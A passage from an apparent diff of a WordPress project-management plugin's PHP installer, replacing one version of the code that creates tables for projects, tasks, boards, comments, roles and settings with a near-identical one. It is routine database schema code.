UNSIGNED DEFAULT NULL, - `updated_by` int(11) UNSIGNED DEFAULT NULL, - PRIMARY KEY (`id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - - $this->task_type_task(); - } - - private function task_type_task() { - global $wpdb; - $table_name = $wpdb->prefix . 'pm_task_type_task'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `type_id` int(11) UNSIGNED NOT NULL, - `task_id` int(11) UNSIGNED NOT NULL, - `project_id` int(11) UNSIGNED NOT NULL, - `list_id` int(11) UNSIGNED NOT NULL, - UNIQUE KEY `task_id` (`task_id`), - KEY `type_id` (`type_id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - private function crate_capabilities_table() { - - global $wpdb; - $table_name = $this->prefix() . 'pm_capabilities'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(20) UNSIGNED NOT NULL AUTO_INCREMENT, - `name` varchar(100) NOT NULL, - PRIMARY KEY (`id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - private function crate_role_projects_table() { - global $wpdb; - $table_name = $this->prefix() . 'pm_role_project'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(20) UNSIGNED NOT NULL AUTO_INCREMENT, - `project_id` int(20) UNSIGNED NOT NULL, - `role_id` int(20) UNSIGNED NOT NULL, - PRIMARY KEY (`id`) - ) DEFAULT CHARSET=utf8"; - - - dbDelta($sql); - } - - private function crate_role_project_capabilities_table() { - global $wpdb; - $table_name = $this->prefix() . 'pm_role_project_capabilities'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `role_project_id` int(20) UNSIGNED NOT NULL, - `capability_id` int(20) UNSIGNED NOT NULL, - KEY `role_project_id` (`role_project_id`) - ) DEFAULT CHARSET=utf8"; - - - dbDelta($sql); - } - - private function crate_role_project_users_table() { - global $wpdb; - $table_name = $this->prefix() . 'pm_role_project_users'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `role_project_id` int(20) UNSIGNED NOT NULL, - `user_id` int(20) UNSIGNED NOT NULL, - KEY `role_project_id` (`role_project_id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - private function create_project_table() - { - - global $wpdb; - $table_name = $this->prefix() . 'pm_projects'; - - // `status` COMMENT '0: incomplete; 1: complete; 2: pending; 3: archived' - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `title` varchar(255) NOT NULL, - `description` text, - `status` tinyint(4) NOT NULL DEFAULT 0, - `budget` double(8,2) DEFAULT NULL, - `pay_rate` double(8,2) DEFAULT NULL, - `est_completion_date` timestamp NULL DEFAULT NULL, - `color_code` varchar(255) DEFAULT NULL, - `order` tinyint(4) DEFAULT NULL, - `projectable_type` varchar(255) DEFAULT NULL, - `completed_at` timestamp NULL DEFAULT NULL, - `created_by` int(11) UNSIGNED DEFAULT NULL, - `updated_by` int(11) UNSIGNED DEFAULT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - PRIMARY KEY (`id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - public function create_tasks_table() - { - global $wpdb; - $table_name = $this->prefix() . 'pm_tasks'; - - // `priority` tinyint(4) NOT NULL DEFAULT '1' COMMENT '1: High; 2: Medium; 3: Low', - // `payable` tinyint(1) NOT NULL DEFAULT 0 COMMENT '0: Not payable; 1: Payable', - // `recurrent` tinyint(1) NOT NULL DEFAULT 0 COMMENT '0: Not recurrent task; 1: Recurrent task', - // `status` tinyint(4) NOT NULL DEFAULT 0 COMMENT '0: Incomplete; 1: Complete; 2: Pending', - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `title` varchar(255) NOT NULL, - `description` text, - `estimation` int(11) DEFAULT '0', - `start_at` timestamp NULL DEFAULT NULL, - `due_date` timestamp NULL DEFAULT NULL, - `complexity` tinyint(4) DEFAULT NULL, - `priority` tinyint(4) NOT NULL DEFAULT 1, - `payable` tinyint(1) NOT NULL DEFAULT 0, - `recurrent` tinyint(1) NOT NULL DEFAULT 0, - `status` tinyint(4) NOT NULL DEFAULT 0, - `is_private` tinyint(2) UNSIGNED default 0, - `project_id` int(11) UNSIGNED NOT NULL, - `parent_id` int(11) UNSIGNED NOT NULL DEFAULT 0, - `completed_by` int(11) UNSIGNED DEFAULT NULL, - `completed_at` timestamp NULL DEFAULT NULL, - `created_by` int(11) UNSIGNED DEFAULT NULL, - `updated_by` int(11) UNSIGNED DEFAULT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - PRIMARY KEY (`id`), - KEY `project_id` (`project_id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - public function create_activity_table() - { - global $wpdb; - $table_name = $this->prefix() . 'pm_activities'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `actor_id` int(11) UNSIGNED NOT NULL, - `action` varchar(255) NOT NULL, - `action_type` varchar(255) NOT NULL, - `resource_id` int(11) UNSIGNED DEFAULT NULL, - `resource_type` varchar(255) DEFAULT NULL, - `meta` text, - `project_id` int(11) UNSIGNED NOT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - PRIMARY KEY (`id`), - KEY `project_id` (`project_id`), - KEY `actor_id` (`actor_id`), - KEY `resource_id` (`resource_id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - public function create_assignees_table() - { - global $wpdb; - $table_name = $this->prefix() . 'pm_assignees'; - - //`status` tinyint(4) NOT NULL DEFAULT 0 COMMENT '0: Not started; 1: Working; 2: Accomplished', - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `task_id` int(11) UNSIGNED NOT NULL, - `assigned_to` int(11) UNSIGNED NOT NULL, - `status` tinyint(4) NOT NULL DEFAULT '0', - `created_by` int(11) UNSIGNED DEFAULT NULL, - `updated_by` int(11) UNSIGNED DEFAULT NULL, - `assigned_at` timestamp NULL DEFAULT NULL, - `started_at` timestamp NULL DEFAULT NULL, - `completed_at` timestamp NULL DEFAULT NULL, - `project_id` int(11) UNSIGNED NOT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - PRIMARY KEY (`id`), - KEY `task_id` (`task_id`), - KEY `assigned_to` (`assigned_to`), - KEY `project_id` (`project_id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - public function create_boardables_table() - { - global $wpdb; - $table_name = $this->prefix() . 'pm_boardables'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `board_id` int(11) UNSIGNED NOT NULL, - `board_type` varchar(255) NOT NULL, - `boardable_id` int(11) UNSIGNED NOT NULL, - `boardable_type` varchar(255) NOT NULL, - `order` int(11) NOT NULL DEFAULT 0, - `created_by` int(11) UNSIGNED DEFAULT NULL, - `updated_by` int(11) UNSIGNED DEFAULT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - PRIMARY KEY (`id`), - KEY `board_id` (`board_id`), - KEY `boardable_id` (`boardable_id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - - } - - public function create_boards_table() - { - global $wpdb; - $table_name = $this->prefix() . 'pm_boards'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `title` varchar(255) NOT NULL, - `description` text, - `order` int(11) UNSIGNED DEFAULT NULL, - `type` varchar(255) DEFAULT NULL, - `status` tinyint(2) unsigned NOT NULL DEFAULT '1', - `is_private` tinyint(2) UNSIGNED default 0, - `project_id` int(11) UNSIGNED NOT NULL, - `created_by` int(11) UNSIGNED DEFAULT NULL, - `updated_by` int(11) UNSIGNED DEFAULT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - PRIMARY KEY (`id`), - KEY `project_id` (`project_id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - public function create_categories_table() - { - global $wpdb; - $table_name = $this->prefix() . 'pm_categories'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `title` varchar(255) NOT NULL, - `description` text, - `categorible_type` varchar(255) DEFAULT NULL, - `created_by` int(11) UNSIGNED DEFAULT NULL, - `updated_by` int(11) UNSIGNED DEFAULT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - PRIMARY KEY (`id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - public function create_category_project_table() - { - global $wpdb; - $table_name = $this->prefix() . 'pm_category_project'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `project_id` int(11) UNSIGNED NOT NULL, - `category_id` int(11) UNSIGNED NOT NULL, - KEY `project_id` (`project_id`), - KEY `category_id` (`category_id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - public function create_comments_table() - { - global $wpdb; - $table_name = $this->prefix() . 'pm_comments'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `content` text NOT NULL, - `mentioned_users` varchar(255) DEFAULT NULL, - `commentable_id` int(11) UNSIGNED NOT NULL, - `commentable_type` varchar(255) NOT NULL, - `project_id` int(11) UNSIGNED NOT NULL, - `created_by` int(11) UNSIGNED DEFAULT NULL, - `updated_by` int(11) UNSIGNED DEFAULT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - PRIMARY KEY (`id`), - KEY `project_id` (`project_id`), - KEY `commentable_id` (`commentable_id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - public function create_files_table() - { - global $wpdb; - $table_name = $this->prefix() . 'pm_files'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, - `fileable_id` int(11) DEFAULT NULL, - `fileable_type` varchar(255) DEFAULT NULL, - `type` varchar(255) NOT NULL DEFAULT 'file', - `attachment_id` bigint(20) DEFAULT NULL, - `parent` int(11) NOT NULL DEFAULT 0, - `project_id` int(11) UNSIGNED DEFAULT NULL, - `created_by` int(11) UNSIGNED DEFAULT NULL, - `updated_by` int(11) UNSIGNED DEFAULT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - PRIMARY KEY (`id`), - KEY `project_id` (`project_id`), - KEY `fileable_id` (`fileable_id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - public function create_meta_table() - { - global $wpdb; - $table_name = $this->prefix() . 'pm_meta'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `entity_id` int(11) UNSIGNED NOT NULL, - `entity_type` varchar(255) NOT NULL, - `meta_key` varchar(255) NOT NULL, - `meta_value` text, - `project_id` int(11) UNSIGNED DEFAULT NULL, - `created_by` int(11) UNSIGNED DEFAULT NULL, - `updated_by` int(11) UNSIGNED DEFAULT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - PRIMARY KEY (`id`), - KEY `entity_id` (`entity_id`), - KEY `project_id` (`project_id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - public function create_roles_table() - { - global $wpdb; - $table_name = $this->prefix() . 'pm_roles'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `title` varchar(255) NOT NULL, - `slug` varchar(255) NOT NULL, - `description` text, - `status` tinyint(2) unsigned NOT NULL DEFAULT '1', - `created_by` int(11) UNSIGNED DEFAULT NULL, - `updated_by` int(11) UNSIGNED DEFAULT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - PRIMARY KEY (`id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - public function create_role_user_table() - { - global $wpdb; - $table_name = $this->prefix() . 'pm_role_user'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, - `user_id` int(11) UNSIGNED NOT NULL, - `role_id` int(11) UNSIGNED NOT NULL, - `project_id` int(11) UNSIGNED DEFAULT NULL, - `assigned_by` int(11) UNSIGNED NOT NULL, - PRIMARY KEY (`id`), - KEY `project_id` (`project_id`), - KEY `role_id` (`role_id`), - KEY `user_id` (`user_id`), - KEY `assigned_by` (`assigned_by`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - public function create_settings_table() - { - global $wpdb; - $table_name = $this->prefix() . 'pm_settings'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, - `key` varchar(255) NOT NULL, - `value` text, - `project_id` int(11) UNSIGNED DEFAULT NULL, - `created_by` int(11) UNSIGNED DEFAULT NULL, - `updated_by` int(11) UNSIGNED DEFAULT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - PRIMARY KEY (`id`), - KEY `project_id` (`project_id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - - public function create_import_table() - { - global $wpdb; - $table_name = $this->prefix() . 'pm_imports'; - - $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( - `id` int(20) UNSIGNED NOT NULL AUTO_INCREMENT, - `type` varchar(40) NOT NULL, - `remote_id` varchar(150) NOT NULL, - `local_id` varchar(150) NOT NULL, - `creator_id` int(15) UNSIGNED DEFAULT NULL, - `source` varchar(30) NOT NULL, - `created_at` timestamp NULL DEFAULT NULL, - `updated_at` timestamp NULL DEFAULT NULL, - PRIMARY KEY (`id`) - ) DEFAULT CHARSET=utf8"; - - dbDelta($sql); - } - - - public function update_version() - { - delete_option('cpm_version'); - update_option('pm_version', config('app.version')); - - // record the activation date/time if not exists - $installed = get_option('pm_installed'); - - if (!$installed) { - update_option('pm_installed', time()); - } - } -} +create_project_table(); + $this->create_tasks_table(); + $this->create_activity_table(); + $this->create_assignees_table(); + $this->create_boardables_table(); + $this->create_boards_table(); + $this->create_categories_table(); + $this->create_category_project_table(); + $this->create_comments_table(); + $this->create_files_table(); + $this->create_meta_table(); + $this->create_roles_table(); + $this->create_role_user_table(); + $this->create_settings_table(); + $this->create_import_table(); + $this->crate_capabilities_table(); + $this->crate_role_projects_table(); + $this->crate_role_project_capabilities_table(); + $this->crate_role_project_users_table(); + $this->update_version(); + $this->task_types(); + } + + private function prefix() { + global $wpdb; + + return $wpdb->prefix; + } + + private function task_types() { + global $wpdb; + $table_name = $wpdb->prefix . 'pm_task_types'; + + //`status` inactive: 0, active: 1 + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `title` varchar(255) NOT NULL, + `description` text, + `type` varchar(255) NOT NULL, + `status` tinyint(4) NOT NULL DEFAULT 0, + `created_by` int(11) UNSIGNED DEFAULT NULL, + `updated_by` int(11) UNSIGNED DEFAULT NULL, + PRIMARY KEY (`id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + + $this->task_type_task(); + } + + private function task_type_task() { + global $wpdb; + $table_name = $wpdb->prefix . 'pm_task_type_task'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `type_id` int(11) UNSIGNED NOT NULL, + `task_id` int(11) UNSIGNED NOT NULL, + `project_id` int(11) UNSIGNED NOT NULL, + `list_id` int(11) UNSIGNED NOT NULL, + UNIQUE KEY `task_id` (`task_id`), + KEY `type_id` (`type_id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + private function crate_capabilities_table() { + + global $wpdb; + $table_name = $this->prefix() . 'pm_capabilities'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(20) UNSIGNED NOT NULL AUTO_INCREMENT, + `name` varchar(100) NOT NULL, + PRIMARY KEY (`id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + private function crate_role_projects_table() { + global $wpdb; + $table_name = $this->prefix() . 'pm_role_project'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(20) UNSIGNED NOT NULL AUTO_INCREMENT, + `project_id` int(20) UNSIGNED NOT NULL, + `role_id` int(20) UNSIGNED NOT NULL, + PRIMARY KEY (`id`) + ) DEFAULT CHARSET=utf8"; + + + dbDelta($sql); + } + + private function crate_role_project_capabilities_table() { + global $wpdb; + $table_name = $this->prefix() . 'pm_role_project_capabilities'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `role_project_id` int(20) UNSIGNED NOT NULL, + `capability_id` int(20) UNSIGNED NOT NULL, + KEY `role_project_id` (`role_project_id`) + ) DEFAULT CHARSET=utf8"; + + + dbDelta($sql); + } + + private function crate_role_project_users_table() { + global $wpdb; + $table_name = $this->prefix() . 'pm_role_project_users'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `role_project_id` int(20) UNSIGNED NOT NULL, + `user_id` int(20) UNSIGNED NOT NULL, + KEY `role_project_id` (`role_project_id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + private function create_project_table() + { + + global $wpdb; + $table_name = $this->prefix() . 'pm_projects'; + + // `status` COMMENT '0: incomplete; 1: complete; 2: pending; 3: archived' + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `title` varchar(255) NOT NULL, + `description` text, + `status` tinyint(4) NOT NULL DEFAULT 0, + `budget` double(8,2) DEFAULT NULL, + `pay_rate` double(8,2) DEFAULT NULL, + `est_completion_date` timestamp NULL DEFAULT NULL, + `color_code` varchar(255) DEFAULT NULL, + `order` tinyint(4) DEFAULT NULL, + `projectable_type` varchar(255) DEFAULT NULL, + `completed_at` timestamp NULL DEFAULT NULL, + `created_by` int(11) UNSIGNED DEFAULT NULL, + `updated_by` int(11) UNSIGNED DEFAULT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + PRIMARY KEY (`id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + public function create_tasks_table() + { + global $wpdb; + $table_name = $this->prefix() . 'pm_tasks'; + + // `priority` tinyint(4) NOT NULL DEFAULT '1' COMMENT '1: High; 2: Medium; 3: Low', + // `payable` tinyint(1) NOT NULL DEFAULT 0 COMMENT '0: Not payable; 1: Payable', + // `recurrent` tinyint(1) NOT NULL DEFAULT 0 COMMENT '0: Not recurrent task; 1: Recurrent task', + // `status` tinyint(4) NOT NULL DEFAULT 0 COMMENT '0: Incomplete; 1: Complete; 2: Pending', + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `title` varchar(255) NOT NULL, + `description` text, + `estimation` int(11) DEFAULT '0', + `start_at` timestamp NULL DEFAULT NULL, + `due_date` timestamp NULL DEFAULT NULL, + `complexity` tinyint(4) DEFAULT NULL, + `priority` tinyint(4) NOT NULL DEFAULT 1, + `payable` tinyint(1) NOT NULL DEFAULT 0, + `recurrent` tinyint(1) NOT NULL DEFAULT 0, + `status` tinyint(4) NOT NULL DEFAULT 0, + `is_private` tinyint(2) UNSIGNED default 0, + `project_id` int(11) UNSIGNED NOT NULL, + `parent_id` int(11) UNSIGNED NOT NULL DEFAULT 0, + `completed_by` int(11) UNSIGNED DEFAULT NULL, + `completed_at` timestamp NULL DEFAULT NULL, + `created_by` int(11) UNSIGNED DEFAULT NULL, + `updated_by` int(11) UNSIGNED DEFAULT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `project_id` (`project_id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + public function create_activity_table() + { + global $wpdb; + $table_name = $this->prefix() . 'pm_activities'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `actor_id` int(11) UNSIGNED NOT NULL, + `action` varchar(255) NOT NULL, + `action_type` varchar(255) NOT NULL, + `resource_id` int(11) UNSIGNED DEFAULT NULL, + `resource_type` varchar(255) DEFAULT NULL, + `meta` text, + `project_id` int(11) UNSIGNED NOT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `project_id` (`project_id`), + KEY `actor_id` (`actor_id`), + KEY `resource_id` (`resource_id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + public function create_assignees_table() + { + global $wpdb; + $table_name = $this->prefix() . 'pm_assignees'; + + //`status` tinyint(4) NOT NULL DEFAULT 0 COMMENT '0: Not started; 1: Working; 2: Accomplished', + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `task_id` int(11) UNSIGNED NOT NULL, + `assigned_to` int(11) UNSIGNED NOT NULL, + `status` tinyint(4) NOT NULL DEFAULT '0', + `created_by` int(11) UNSIGNED DEFAULT NULL, + `updated_by` int(11) UNSIGNED DEFAULT NULL, + `assigned_at` timestamp NULL DEFAULT NULL, + `started_at` timestamp NULL DEFAULT NULL, + `completed_at` timestamp NULL DEFAULT NULL, + `project_id` int(11) UNSIGNED NOT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `task_id` (`task_id`), + KEY `assigned_to` (`assigned_to`), + KEY `project_id` (`project_id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + public function create_boardables_table() + { + global $wpdb; + $table_name = $this->prefix() . 'pm_boardables'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `board_id` int(11) UNSIGNED NOT NULL, + `board_type` varchar(255) NOT NULL, + `boardable_id` int(11) UNSIGNED NOT NULL, + `boardable_type` varchar(255) NOT NULL, + `order` int(11) NOT NULL DEFAULT 0, + `created_by` int(11) UNSIGNED DEFAULT NULL, + `updated_by` int(11) UNSIGNED DEFAULT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `board_id` (`board_id`), + KEY `boardable_id` (`boardable_id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + + } + + public function create_boards_table() + { + global $wpdb; + $table_name = $this->prefix() . 'pm_boards'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `title` varchar(255) NOT NULL, + `description` text, + `order` int(11) UNSIGNED DEFAULT NULL, + `type` varchar(255) DEFAULT NULL, + `status` tinyint(2) unsigned NOT NULL DEFAULT '1', + `is_private` tinyint(2) UNSIGNED default 0, + `project_id` int(11) UNSIGNED NOT NULL, + `created_by` int(11) UNSIGNED DEFAULT NULL, + `updated_by` int(11) UNSIGNED DEFAULT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `project_id` (`project_id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + public function create_categories_table() + { + global $wpdb; + $table_name = $this->prefix() . 'pm_categories'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `title` varchar(255) NOT NULL, + `description` text, + `categorible_type` varchar(255) DEFAULT NULL, + `created_by` int(11) UNSIGNED DEFAULT NULL, + `updated_by` int(11) UNSIGNED DEFAULT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + PRIMARY KEY (`id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + public function create_category_project_table() + { + global $wpdb; + $table_name = $this->prefix() . 'pm_category_project'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `project_id` int(11) UNSIGNED NOT NULL, + `category_id` int(11) UNSIGNED NOT NULL, + KEY `project_id` (`project_id`), + KEY `category_id` (`category_id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + public function create_comments_table() + { + global $wpdb; + $table_name = $this->prefix() . 'pm_comments'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `content` text NOT NULL, + `mentioned_users` varchar(255) DEFAULT NULL, + `commentable_id` int(11) UNSIGNED NOT NULL, + `commentable_type` varchar(255) NOT NULL, + `project_id` int(11) UNSIGNED NOT NULL, + `created_by` int(11) UNSIGNED DEFAULT NULL, + `updated_by` int(11) UNSIGNED DEFAULT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `project_id` (`project_id`), + KEY `commentable_id` (`commentable_id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + public function create_files_table() + { + global $wpdb; + $table_name = $this->prefix() . 'pm_files'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, + `fileable_id` int(11) DEFAULT NULL, + `fileable_type` varchar(255) DEFAULT NULL, + `type` varchar(255) NOT NULL DEFAULT 'file', + `attachment_id` bigint(20) DEFAULT NULL, + `parent` int(11) NOT NULL DEFAULT 0, + `project_id` int(11) UNSIGNED DEFAULT NULL, + `created_by` int(11) UNSIGNED DEFAULT NULL, + `updated_by` int(11) UNSIGNED DEFAULT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `project_id` (`project_id`), + KEY `fileable_id` (`fileable_id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + public function create_meta_table() + { + global $wpdb; + $table_name = $this->prefix() . 'pm_meta'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `entity_id` int(11) UNSIGNED NOT NULL, + `entity_type` varchar(255) NOT NULL, + `meta_key` varchar(255) NOT NULL, + `meta_value` text, + `project_id` int(11) UNSIGNED DEFAULT NULL, + `created_by` int(11) UNSIGNED DEFAULT NULL, + `updated_by` int(11) UNSIGNED DEFAULT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `entity_id` (`entity_id`), + KEY `project_id` (`project_id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + public function create_roles_table() + { + global $wpdb; + $table_name = $this->prefix() . 'pm_roles'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `title` varchar(255) NOT NULL, + `slug` varchar(255) NOT NULL, + `description` text, + `status` tinyint(2) unsigned NOT NULL DEFAULT '1', + `created_by` int(11) UNSIGNED DEFAULT NULL, + `updated_by` int(11) UNSIGNED DEFAULT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + PRIMARY KEY (`id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + public function create_role_user_table() + { + global $wpdb; + $table_name = $this->prefix() . 'pm_role_user'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` bigint(20) UNSIGNED NOT NULL AUTO_INCREMENT, + `user_id` int(11) UNSIGNED NOT NULL, + `role_id` int(11) UNSIGNED NOT NULL, + `project_id` int(11) UNSIGNED DEFAULT NULL, + `assigned_by` int(11) UNSIGNED NOT NULL, + PRIMARY KEY (`id`), + KEY `project_id` (`project_id`), + KEY `role_id` (`role_id`), + KEY `user_id` (`user_id`), + KEY `assigned_by` (`assigned_by`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + public function create_settings_table() + { + global $wpdb; + $table_name = $this->prefix() . 'pm_settings'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `key` varchar(255) NOT NULL, + `value` text, + `project_id` int(11) UNSIGNED DEFAULT NULL, + `created_by` int(11) UNSIGNED DEFAULT NULL, + `updated_by` int(11) UNSIGNED DEFAULT NULL, + `created_at` timestamp NULL DEFAULT NULL, + `updated_at` timestamp NULL DEFAULT NULL, + PRIMARY KEY (`id`), + KEY `project_id` (`project_id`) + ) DEFAULT CHARSET=utf8"; + + dbDelta($sql); + } + + + public function create_import_table() + { + global $wpdb; + $table_name = $this->prefix() . 'pm_imports'; + + $sql = "CREATE TABLE IF NOT EXISTS {$table_name} ( + `id` int(20) UNSIGNED NOT NULL AUTO_INCREMENT, + `type` varchar(40) NOT NULL, + `remote_id` varchar(150) 